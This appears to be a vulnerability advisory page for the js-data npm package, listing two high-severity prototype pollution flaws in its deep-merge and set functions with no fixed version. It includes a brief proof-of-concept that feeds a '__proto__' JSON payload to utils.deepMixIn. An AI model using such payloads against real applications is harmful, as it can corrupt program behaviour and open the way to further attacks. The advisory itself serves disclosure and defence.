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org.webjars.npm:js-data@2.9.0 vulnerabilities

  • latest version

    2.9.0

  • first published

    8 years ago

  • latest version published

    8 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:js-data package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    org.webjars.npm:js-data is a Robust, framework-agnostic in-memory data store.

    Affected versions of this package are vulnerable to Prototype Pollution via the deepFillIn and the set functions. This is an incomplete fix of CVE-2020-28442.

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:js-data.

    [0,)
    • H
    Prototype Pollution

    org.webjars.npm:js-data is a Robust, framework-agnostic in-memory data store.

    Affected versions of this package are vulnerable to Prototype Pollution via the deepMixIn and deepFillIn functions.

    PoC

    const { utils } = require("js-data");
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepMixIn({}, source);
// utils.deepFillIn({}, source);
console.log("After : " + obj.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars.npm:js-data.

    [0,)
    Go back to all versions of this package